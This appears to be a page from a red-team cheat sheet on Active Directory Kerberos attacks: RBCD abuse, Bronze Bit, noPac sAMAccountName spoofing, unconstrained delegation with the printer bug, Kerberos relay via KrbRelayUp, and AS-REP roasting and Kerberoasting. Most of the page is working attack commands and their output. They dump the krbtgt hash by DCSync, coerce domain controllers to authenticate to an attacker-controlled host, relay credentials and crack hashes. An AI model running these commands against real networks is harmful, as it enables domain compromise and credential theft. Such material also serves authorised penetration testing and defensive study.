
```
PV4 > Set-DomainRBCD DC01 -DelegateFrom fakemachine -Verbose
```

Clean up:

```
PV4 > Set-DomainRBCD DC01 -Clear -Verbose
```

## RBCD from Linux

Add new machine account:

```
$ addcomputer.py -computer-name 'fakemachine' -computer-pass 'Passw0rd!' -dc-ip 192.168.1.11 -dc-host DC02.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'
```

Ask TGS for LDAP:

```
$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'DC01' -dc-ip 192.168.1.11 megacorp.local/fakemachine:'Passw0rd!'
```

### rbcd-attack

* <https://github.com/tothi/rbcd-attack>

Configure RBCD on the vulnerable host (DC01):

```
$ python3 rbcd.py -f fakemachine -t DC01 -dc-ip 192.168.1.11 megacorp.local/snovvcrash:'Passw0rd!'
$ python3 rbcd.py -f fakemachine -t DC01 -dc-ip 192.168.1.11 megacorp.local/'MEGACORP\SRV01$' -hashes :fc525c9683e8fe067095ba2ddc971889
```

### rbcd\_permissions

* <https://github.com/NinjaStyle82/rbcd_permissions>

Configure RBCD on the vulnerable host (DC01) via PtH:

```
$ python3 rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889 -l 192.168.1.11
```

### impacket-rbcd

```
$ rbcd.py -delegate-from 'FAKEMACHINE$' -delegate-to 'SRV01$' -dc-ip 192.168.1.11 -k -no-pass -action {read,write,remove,flush} megacorp.local/snovvcrash
```

### Bronze Bit

**CVE-2020-17049**

* <https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/>
* <https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/>

Calculate Kerberos keys for the fake machine account with [Get-KerberosAESKey](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372):

```
PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98
```

Or with Mimikatz:

```
mimikatz # kerberos::hash /domain:megacorp.local /user:fakemachine /password:Passw0rd!
        * rc4_hmac_nt       fc525c9683e8fe067095ba2ddc971889
        * aes128_hmac       01c7b89a74f7aec1007ded2f3de0a815
        * aes256_hmac       211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98
        * des_cbc_md5       621a91461f1adffe
```

Now you can impersonate a protected user:

```
$ addcomputer.py -computer-name fakemachine -computer-pass 'Passw0rd!' -dc-ip 192.168.1.11 -dc-host DC01.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'
$ python3 rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H 79bfd1ab35c67c19715aea7f06da66ee:79bfd1ab35c67c19715aea7f06da66ee -l 192.168.1.11
$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'administrator' -dc-ip 192.168.1.11 megacorp.local/fakemachine -hashes :fc525c9683e8fe067095ba2ddc971889 -aesKey 211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98 -force-forwardable
$ secretsdump.py DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt' -dc-ip 192.168.1.11 -no-pass -k
```

### Metasploit

* <https://www.n00py.io/2023/01/exploiting-resource-based-constrained-delegation-rbcd-with-pure-metasploit/>

## RBCD with UPNs

* <https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html>

{% tabs %}
{% tab title="Windows" %}
User **j.doe** is populated within the `msDS-AllowedToActOnBehalfOfOtherIdentity` property of the **SRV01** machine:

```
PS > Set-ADComputer SRV01 -PrincipalsAllowedToDelegateToAccount j.doe
```

Request a regular TGT for **j.doe**:

```
PS > .\Rubeus.exe asktgt /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /nowrap
```

Request a U2U ticket providing TGT within the `/ticket` **and** `/tgs` options and specifying the user to impersonate within the `/targetuser` option (this is an S4U2self request):

```
PS > .\Rubeus.exe asktgs /u2u /targetuser:<USER_TO_IMPERSONATE> /nowrap /ticket:<TGT> /tgs:<TGT>
```

Obtain a hex view of the current TGT session key (RC4 HMAC):

```
$ python3 -c 'import binascii,base64;print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())'
```

Set **j.doe**'s NT hash to the hexlified TGT session key:

```
$ smbpasswd.py megacorp.local/j.doe:'Passw0rd!'@DC01.megacorp.local -newhashes :<TGT_SESSION_KEY_HEX> -altuser MEGACORP/snovvcrash -altpass 'Passw0rd123!'
```

Go for the S4U attack providing the initial TGT within the `/ticket` option and the forwardable TGS (got from the U2U request) within the `/tgs` option (only the S4U2proxy part is performed):

```
PS > .\Rubeus.exe s4u /msdsspn:host/SRV01.megacorp.local /altservice:http /ticket:<TGT> /tgs:<TGS> /createnetonly:C:\Windows\System32\cmd.exe /show
```

{% endtab %}

{% tab title="Linux" %}
From Linux systems [Impacket](https://github.com/fortra/impacket/pull/1202#issuecomment-1257289045) can be used to operate the technique.

The steps detailed on [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users) can be followed.
{% endtab %}
{% endtabs %}

### Automatization

* <https://github.com/GhostPack/Rubeus/pull/137>

```
PS > .\Rubeus.exe s4u /u2u /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /impersonateuser:administrator /msdsspn:host/SRV01.megacorp.local /altservice:http /createnetonly:C:\Windows\System32\cmd.exe /show
```

## RBCD for PrivEsc

* <https://exploit.ph/delegate-2-thyself.html>
* <https://exploit.ph/revisiting-delegate-2-thyself.html>
* <https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/>
* <https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/>
* <https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#dcsync>

```
$ getST.py megacorp.local/'PC01$' -hashes :`pypykatz crypto nt 'Passw0rd!'` -dc-ip 192.168.1.11 -impersonate administrator -altservice CIFS/PC01.megacorp.local -self
```

### sAMAccountName Spoofing (noPac)

**CVE-2021-42278, CVE-2021-42287**

* <https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html>
* <https://exploit.ph/more-samaccountname-impersonation.html>
* <https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing>
* <https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/>
* <https://github.com/cube0x0/noPac>
* <https://gist.github.com/S3cur3Th1sSh1t/0ed2fb0b5ae485b68cbc50e89581baa6>
* <https://github.com/Ridter/noPac>
* <https://github.com/ly4k/Pachine>

#### Check

{% tabs %}
{% tab title="Windows" %}
Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC part and be obviously larger:

```
PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:snovvcrash /password:Passw0rd! /nopac /nowrap
```

{% endtab %}

{% tab title="Linux" %}

```
$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M nopac
```

{% endtab %}
{% endtabs %}

#### Exploit

{% tabs %}
{% tab title="Windows" %}

```powershell
# create a new machine account
PM > New-MachineAccount -Domain megacorp.local -DomainController DC01.megacorp.local -MachineAccount FakeMachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
# clear SPNs
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear servicePrincipalName -Verbose
# change fake machine's sAMAccountName
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value DC01 -Attribute sAMAccountName -Verbose
# request TGT
PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DC01 /password:Passw0rd! /nowrap
# change fake machine's sAMAccountName once again
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value FakeMachine -Attribute sAMAccountName -Verbose
# request S4U2self
PS > .\Rubeus.exe s4u /domain:megacorp.local /dc:DC01.megacorp.local /altservice:LDAP/DC01.megacorp.local /impersonateuser:Administrator /self /ptt /ticket:<BASE64_TGT>
# fire DCSync
PS > .\mimikatz.exe "lsadump::dcsync /domain:megacorp.local /dc:DC01.megacorp.local /user:MEGACORP\krbtgt" "exit"
```

{% endtab %}

{% tab title="Linux" %}
Manually with Impacket:

* <https://gist.github.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383>
* <https://github.com/ShutdownRepo/impacket/blob/CVE-2021-42278/examples/renameMachine.py>
* <https://github.com/ShutdownRepo/impacket/blob/getST/examples/getST.py>

```bash
# create a new machine account
$ addcomputer.py -computer-name FakeMachine -computer-pass 'Passw0rd1!' -dc-host DC01.megacorp.local -dc-ip 192.168.1.11 megacorp.local/snovvcrash:'Passw0rd2!'
# clear SPNs
$ addspn.py -u 'megacorp.local\snovvcrash' -p 'Passw0rd2!' -t 'FakeMachine$' -c DC01
# change fake machine's sAMAccountName
$ renameMachine.py megacorp.local/snovvcrash:'Passw0rd2!' -dc-ip 192.168.1.11 -current-name 'FakeMachine$' -new-name DC01
# request TGT
$ getTGT.py megacorp.local/DC01:'Passw0rd1!' -dc-ip 192.168.1.11
# change fake machine's sAMAccountName once again
$ renameMachine.py megacorp.local/snovvcrash:'Passw0rd2!' -dc-ip 192.168.1.11 -current-name DC01 -new-name 'FakeMachine$'
# request S4U2self
$ KRB5CCNAME=DC01.ccache getST.py -spn LDAP/DC01.megacorp.local -altservice LDAP/DC01.megacorp.local megacorp.local/DC01 -k -no-pass -dc-ip 192.168.1.11 -impersonate administrator -self
# fire DCSync
$ KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt'
```

Using noPac:

* <https://github.com/Ridter/noPac>

```bash
# creating a computer account
$ python3 noPac.py megacorp.local/snovvcrash:'Passw0rd123!' -dc-host DC01 -dc-ip 192.168.1.11 -target-name 'FakeMachine1$' -use-ldap -dump -just-dc-ntlm
# providing an existing (owned) computer account creds
$ python3 noPac.py megacorp.local/snovvcrash:'Passw0rd123!' -dc-host DC01 -dc-ip 192.168.1.11 --impersonate administrator -no-add -target-name 'FakeMachine2$' -old-hash :fc525c9683e8fe067095ba2ddc971889
```

{% endtab %}
{% endtabs %}

### dNSHostName Spoofing (Certifried)

**CVE-2022-26923**

{% content-ref url="/pages/DteXPMqqV5GimfUwx10E#abuse-rbcd" %}
[dNSHostName Spoofing (Certifried)](/pentest/infrastructure/ad/ad-cs-abuse/dnshostname-spoofing-certifried#abuse-rbcd)
{% endcontent-ref %}

## mitm6 + WPAD + LDAPS NTLM Relay + RBCD

* <https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>
* <https://chryzsh.github.io/relaying-delegation/>
* <https://www.exploit-db.com/docs/48282>

{% file src="/files/rXFwBTJPrZSrLxiHsZup" %}

```
$ ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access -wh attacker-wpad --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs [-debug]
$ sudo mitm6 -i eth0 -d megacorp.local --ignore-nofqdn
```

## WebDav + LDAPS NTLM Relay + RBCD

* <https://gist.github.com/gladiatx0r/1ffe59031d42c08603a3bde0ff678feb>
* <https://gist.github.com/zimnyaa/dcac97f3106e96053a1acb6ca9974e55>
* <https://pentestlab.blog/2021/10/18/resource-based-constrained-delegation/>
* <https://github.com/med0x2e/NTLMRelay2Self>
* <https://badoption.eu/blog/2024/04/25/netntlm.html>

```
$ cme smb 192.168.1.0/24 -u snovvcrash -p 'Passw0rd!' -M webdav
$ ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access [--escalate-user 'PWNED-MACHINE$'] --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs
$ sudo ./Responder.py -I eth0 -wd -P -v
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' attacker@80/test.txt VICTIM.megacorp.local
$ getST.py -spn cifs/VICTIM.megacorp.local MEGACORP/'PWNED-MACHINE$' -dc-ip 192.168.1.11 -hashes :fc525c9683e8fe067095ba2ddc971889 -impersonate administrator
```

## Clean Up

```
PS > Get-ADComputer -Identity FakeMachine | Remove-ADComputer -Confirm:$False
PS > Get-ADComputer -Identity SRV01 -Properties * | select -Expand msds-allowedToActOnBehalfOfOtherIdentity
PS > Get-ADComputer -Identity SRV01 | Set-ADComputer -Clear msds-allowedToActOnBehalfOfOtherIdentity
```


# Unconstrained

* <https://adsecurity.org/?p=1667>
* <https://ardent101.github.io/posts/kerberos_delegation/>

Enumerate:

```
PowerView3 > Get-DomainComputer -Unconstrained | select dnshostname,samaccountname,useraccountcontrol
```

## Monitor for TGTs

Coerce authentication from a DC while monitoring for TGTs in the background on the owned unconstrained delegation system:

```
Cmd > .\Rubeus.exe monitor /targetuser:DC01$ /interval:5 /nowrap /runfor:60 [/registry:SOFTWARE\MONITOR] [/consoleoutfile:C:\Windows\Temp\monitor.txt]
Cmd > .\SpoolSample.exe dc01.megacorp.local srv01.megacorp.local
```

Use [ticket\_converter](https://github.com/eloypgz/ticket_converter) or [ticketConverter.py](https://github.com/fortra/impacket/blob/master/examples/ticketConverter.py) to convert the TGT from `.kirbi` to `.ccache` (usable with impacket):

```
$ python ticket_converter.py dc01.kirbi dc01.ccache
$ KRB5CCNAME=`pwd`/dc01.ccache ...
```

If output goes to the `/registry`:

```
PS > Get-ChildItem HKLM:\SOFTWARE\MONITOR\
PS > Get-ItemProperty HKLM:\SOFTWARE\MONITOR\DC01$@MEGACORP.LOCAL
PS > Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force
```

## "Relaying" Kerberos

* <https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/>

{% embed url="<https://snovvcrash.github.io/2021/05/21/calculating-kerberos-keys.html>" %}

{% file src="/files/rXFwBTJPrZSrLxiHsZup" %}

### Printer Bug + DCSync

Requirements:

* Owned computer account with unconstrained delegation enabled (SRV01).
* Printer bug on a domain controller (DC01).
* Permissions to add an SPN for the owned computer account and a new DNS record in AD.

1\. Grab owned computer account password to calculate its Kerberos AES key. This is done automatically when extracting the password remotely with `secretsdump.py`, or it will be done later by `krbrelayx.py` when providing it the password in hex from local `secretsdump.py` output:

```
# Remotely
$ secretsdump.py MEGACORP/snovvcrash:'Passw0rd!'@SRV01.megacorp.local -ts
...
MEGACORP\SRV01$:aes256-cts-hmac-sha1-96:00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff

# Locally
Cmd > reg.exe save hklm\system system.hive
Cmd > reg.exe save hklm\security security.hive
$ secretsdump.py -system system.hive -security security.hive LOCAL
...
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:<PLAIN_PASSWORD_HEX>
```

2\. Add a custom SPN for the owned computer account with unconstrained delegation:

```
# Check (no modifications)
$ python addspn.py -u 'megacorp.local\SRV01$' -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 -s HOST/evil.megacorp.local -q DC01.megacorp.local

# Adding servicePrincipalName that doesn't match full hostname or samAccountName will fail
$ python addspn.py -u 'megacorp.local\SRV01$' -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 -s HOST/evil.megacorp.local DC01.megacorp.local

# But modifying msDS-AdditionalDnsHostName will succeed
$ python addspn.py -u 'megacorp.local\SRV01$' -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 -s HOST/evil.megacorp.local DC01.megacorp.local --additional
```

3\. Add a DNS record pointing to the attacker's host:

```
$ python dnstool.py -u 'megacorp.local\SRV01$' -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 -r evil.megacorp.local -d <ATTACKER_IP> --action add DC01.megacorp.local
```

4\. Check that the record was added successfully (\~ 3 minutes):

```
$ nslookup evil.megacorp.local <DC01_IP>
Server:		192.168.1.11
Address:	192.168.1.11#53

Name:	evil.megacorp.local
Address: 10.10.13.37
```

5\. Start `krbrelayx.py` providing AES key of the owned computer account or its plain password in hex with salt:

```
# In case secretsdump.py was used remotely
$ sudo python krbrelayx.py -aesKey 00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff

# In case secretsdump.py was used locally
$ sudo python krbrelayx.py --krbhexpass <PLAIN_PASSWORD_HEX> --krbsalt MEGACORP.LOCALhostsrv01.megacorp.local
```

6\. Coerce the authentication to attacker's host from DC01 by triggering printer bug:

```
$ python printerbug.py megacorp.local/'SRV01$'@DC01.megacorp.local -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 evil.megacorp.local
```

7\. Export extracted TGT and perform DCSync to get krbtgt hash (or any other privileged account hash):

```
$ export KRB5CCNAME=`pwd`/'DC01$@MEGACORP.LOCAL_krbtgt@MEGACORP.LOCAL.ccache'
$ secretsdump.py DC01.megacorp.local -dc-ip <DC01_IP> -just-dc-user 'MEGACORP\krbtgt' -k -no-pass
```

8\. Cleanup. Delete SPN and DNS record:

```
$ python addspn.py -u 'megacorp.local\SRV01$' -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 -s HOST/evil.megacorp.local -r DC01.megacorp.local --additional
$ python dnstool.py -u 'megacorp.local\SRV01$' -p aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 -r evil.megacorp.local -d <ATTACKER_IP> --action remove DC01.megacorp.local

# Check if the SPN was deleted successfully
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u 'SRV01$' --hash fc525c9683e8fe067095ba2ddc971889 -m computers --attrs servicePrincipalName | grep SRV01
```

Other scenarios:

* In [this](https://exploit.ph/user-constrained-delegation.html) blogpost it is described how to perform the attack by abusing a **service** (user) account with unconstrained delegation enabled.
* In [this](https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/) blogpost it is described how to perform the attack from Windows by extracting TGT with Inveigh.
* In [this](https://nothingspecialforu.github.io/UCgMSAExploitation/) blogpost it is described how to perform the attack by abusing a **gMSA** (user) account with unconstrained delegation enabled.


# Kerberos Relay

* <https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html>
* <https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html>
* <https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/>

## mitm6 + Kerberos DNS Relay + AD CS ESC8

* <https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/>

### CNAME Abuse

* <https://cymulate.com/blog/kerberos-authentication-relay-via-cname-abuse/>

## Tools

### KrbRelay

* <https://github.com/cube0x0/KrbRelay>
* <https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9>
* <https://icyguider.github.io/2022/05/19/NoFix-LPE-Using-KrbRelay-With-Shadow-Credentials.html>

### KrbRelayUp

* <https://github.com/Dec0ne/KrbRelayUp>
* <https://www.microsoft.com/security/blog/2022/05/25/detecting-and-preventing-privilege-escalation-attacks-leveraging-kerberos-relaying-krbrelayup/>
* <https://github.com/BronzeBee/DavRelayUp>
* <https://github.com/Dec0ne/DavRelayUp>

#### RELAY

Relay authentication to LDAP(S) with automatic machine creation and configure RBCD:

```
PS > .\KrbRelayUp.exe RELAY [-d|--Domain megacorp.local] [-dc|--DomainController DC01.megacorp.local] [-m|--Method RBCD] -c|--CreateNewComputerAccount [-cn|--ComputerName FAKEMACHINE$] [-cp|--ComputerPassword Passw0rd!]
```

Perform RBCD with UPNs:

```
PS > .\KrbRelayUp.exe RELAY -u2u -cn j.doe -cp Passw0rd!
```

{% content-ref url="/pages/hEqPC8druXtA7lMGmGf6#rbcd-with-upns" %}
[Resource-based Constrained](/pentest/infrastructure/ad/kerberos/delegation-abuse/rbcd#rbcd-with-upns)
{% endcontent-ref %}

#### SPAWN

Execute a command as NT AUTHORITY\SYSTEM via RBCD abuse:

```
PS > .\KrbRelayUp.exe SPAWN [-m|--Method RBCD] [-i|--Impersonate administrator] [-s|ServiceName PwnSVC] [-sc|--ServiceCommand C:\Windows\System32\cmd.exe] -cn|--ComputerName FAKEMACHINE$ -cp|--ComputerPassword Passw0rd! [or -ch|--ComputerPasswordHash fc525c9683e8fe067095ba2ddc971889]
```

{% hint style="warning" %}
As [@ShitSecure](https://twitter.com/ShitSecure) mentioned, executing the binary as a .NET Reflective Assembly from PowerShell will fail because the PowerShell process will have already initialized the security parameters for COM itself after having been launched, so `CoInitializeSecurity` will not contain those new parameters attempted to set by KrbRelay(Up).
{% endhint %}

### RemoteKrbRelay

* <https://habr.com/ru/articles/848542/>
* <https://github.com/CICADA8-Research/RemoteKrbRelay>
* <https://github.com/rtecCyberSec/RemoteKrbRelay/tree/ntlm>
* <https://github.com/OleFredrik1/remoteKrbRelayx>

### KrbRelay-SMBServer

* <https://www.tiraniddo.dev/2024/04/relaying-kerberos-authentication-from.html>
* <https://github.com/decoder-it/KrbRelay-SMBServer>
* <https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx>
* <https://www.synacktiv.com/publications/abusing-multicast-poisoning-for-pre-authenticated-kerberos-relay-over-http-with>

Stop/start services with Cmd:

```
Cmd > sc config LanmanServer start= disabled & sc stop LanmanServer & sc stop srv2 & sc stop srvnet
Cmd > sc config LanmanServer start= auto & sc start LanmanServer & sc start srv2 & sc start srvnet
```

Stop/start services with PowerShell and attack:

```
PS > Invoke-DNSUpdate -DNSName adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -DNSData 10.10.13.37
PS > Set-Service -Name LanmanServer -StartupType Disabled; Stop-Service -Name LanmanServer -Force; Stop-Service -Name srv2 -Force; Stop-Service -Name srvnet -Force
PS > .\KrbRelay.exe -spn HTTP/ADCS.megacorp.local -redirecthost adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -endpoint certsrv -adcs DomainController -listenerport 445
$ dfscoerce.py -d megacorp.local -u snovvcrash -k -no-pass adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DC01.megacorp.local
PS > Set-Service -Name LanmanServer -StartupType Automatic; Start-Service -Name LanmanServer; Start-Service -Name srv2; Start-Service -Name srvnet
```


# Roasting

## ASREPRoasting

Show domain users with `DONT_REQ_PREAUTH` flag set:

```
PowerView3 > Get-DomainUser -UACFilter DONT_REQ_PREAUTH
```

### Normal

#### GetNPUsers.py

* <https://vbscrub.com/2020/02/22/impackets-getnpusers-script-explained/>

```
$ GetNPUsers.py megacorp.local/ -dc-ip 127.0.0.1 -no-pass -usersfile ~/ws/enum/names.txt -request -outputfile asrep.in | tee GetNPUsers.out
$ cat GetNPUsers.out | grep -v 'Client not found in Kerberos database'
$ hashcat -m 18200 -O -a 0 -w 3 --session=asrep -o asrep.out asrep.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```

#### ASREPRoast.ps1

* <https://github.com/HarmJ0y/ASREPRoast>

```
PS > Get-ASREPHash -Domain megacorp.local -UserName snovvcrash
```

#### Rubeus

```
beacon> execute-assembly ADSearch.exe --search "(&(sAMAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
beacon> execute-assembly Rubeus.exe asreproast /nowrap [/user:svc_mssql]
```

### Targeted

* <https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#asreproast>

> "Given GenericWrite/GenericAll DACL rights over a target, we can modify most of the user's attributes. We can change a victim's userAccountControl to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back." (@harmj0y, [ref](https://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/))

```
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
PowerView3 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain megacorp.local -UserName snovvcrash
PowerView3 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView3 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
```

## Kerberoasting

* <http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/>
* <https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/>
* <https://github.com/GhostPack/Rubeus#kerberoast>
* <https://docs.microsoft.com/ru-ru/archive/blogs/openspecification/windows-configurations-for-kerberos-supported-encryption-type>
* <https://swarm.ptsecurity.com/kerberoasting-without-spns/>
* <https://habr.com/ru/post/650889/>
* <https://m365internals.com/2021/11/08/kerberoast-with-opsec/>
* <https://github.com/Luct0r/KerberOPSEC>
* <https://redcanary.com/blog/marshmallows-and-kerberoasting/>
* <https://www.trustedsec.com/blog/the-art-of-bypassing-kerberoast-detections-with-orpheus/>
* <https://github.com/trustedsec/orpheus>

{% embed url="<https://twitter.com/_wald0/status/1361720293539139589>" %}

Check `msDS-SupportedEncryptionTypes` attribute (if RC4 is enabled):

```
PowerView3 > Get-DomainUser -Identity snovvcrash -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
```

### Normal

#### GetUserSPNs.py

```
$ GetUserSPNs.py megacorp.local/snovvcrash:'Passw0rd!' -dc-ip 127.0.0.1 -request -outputfile tgsrep.in
$ hashcat -m 13100 -O -a 0 -w 3 --session=tgsrep -o tgsrep.out tgsrep.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
```

{% hint style="info" %}
In case LDAP(S) ports are blocked, kerberoasting can be performed via the Global Catalog port (3268/TCP). For that purposes [change](https://github.com/fortra/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/GetUserSPNs.py#L268) `ldap://` scheme to `gc://`.
{% endhint %}

Check if there're any **brutable** kerberoastable users with [a path to high value targets](https://github.com/ShutdownRepo/Exegol-images/blob/dcc67cbb8ec69e3dd80aa0f2d8f78980730d3dca/sources/bloodhound/customqueries.json#L34) having got cracked NTDS (useful when writing a report):

```
$ cat ~/ws/enum/tgsrep.in | grep -Pho 'krb5tgs\$23\$.*?\$' | cut -d'*' -f2 | cut -d'$' -f1 > t

$ for acc in `cat t`; do grep -ai $acc ~/ws/loot/ntds.cracked | cut -d: -f1 >> t2; done && rm t

$ vi t2
...convert domain prefix to domain suffix (megacorp.local\svcsql -> svcsql@megacorp.local)...

$ python3 max.py -u neo4j -p 'WeaponizeK4li!' mark-owned -f t2 --add-note "kerberoasted" && rm t2

$ python3 max.py -u neo4j -p 'WeaponizeK4li!' query -q 'MATCH p=shortestPath((n {owned:true})-[:MemberOf|HasSession|AdminTo|AllExtendedRights|AddMember|ForceChangePassword|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|AllowedToDelegate|ReadLAPSPassword|Contains|GpLink|AddAllowedToAct|AllowedToAct|SQLAdmin|ReadGMSAPassword|HasSIDHistory|CanPSRemote*1..5]->(m {highvalue:true})) WHERE NOT n=m RETURN p' --path
```

#### PowerView

* [https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1#L2777)

```
PowerView3 > Invoke-Kerberoast -OutputFormat Hashcat | fl
```

#### Rubeus

* <https://github.com/GhostPack/Rubeus>

```
beacon> execute-assembly ADSearch.exe --search "(&(sAMAccountType=805306368)(servicePrincipalName=*))"
beacon> execute-assembly Rubeus.exe kerberoast /format:hashcat /nowrap [/usetgtdeleg] [/user:svc_mssql]
```

### Targeted

> "We can execute 'normal' Kerberoasting instead: given modification rights on a target, we can change the user's serviceprincipalname to any SPN we want (even something fake), Kerberoast the service ticket, and then repair the serviceprincipalname value." (@harmj0y, [ref](https://www.harmj0y.net/blog/activedirectory/targeted-kerberoasting/))

```
PowerView3 > Get-DomainUser snovvcrash | select serviceprincipalname
PowerView3 > Set-DomainObject -Identity snovvcrash -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
PowerView3 > $User = Get-DomainUser snovvcrash 
PowerView3 > $User | Get-DomainSPNTicket | fl
PowerView3 > $User | select serviceprincipalname
PowerView3 > Set-DomainObject -Identity snovvcrash -Clear serviceprincipalname
```

### Roast-in-the-Middle

* <https://www.semperis.com/blog/new-attack-paths-as-requested-sts/>
* <https://github.com/Tw1sm/RITM>

```
$ sudo ritm -t/--target 192.168.1.123 -g/--gateway 192.168.1.1 -d/--dc-ip 192.168.1.11 -u/--users-file users.txt
```

### Downgrading Encryption Type (RC4)

* <https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1>
* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled>
* <https://vbscrub.com/tag/kerberos/>

## Timeroasting

* [\[PDF\] Timeroasting, Trustroasting and Computer Spraying (Secura)](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf)
* <https://github.com/SecuraBV/Timeroast>

```
$ python3 timeroast.py -a 50 -t 120 -o sntp.in 192.168.1.11
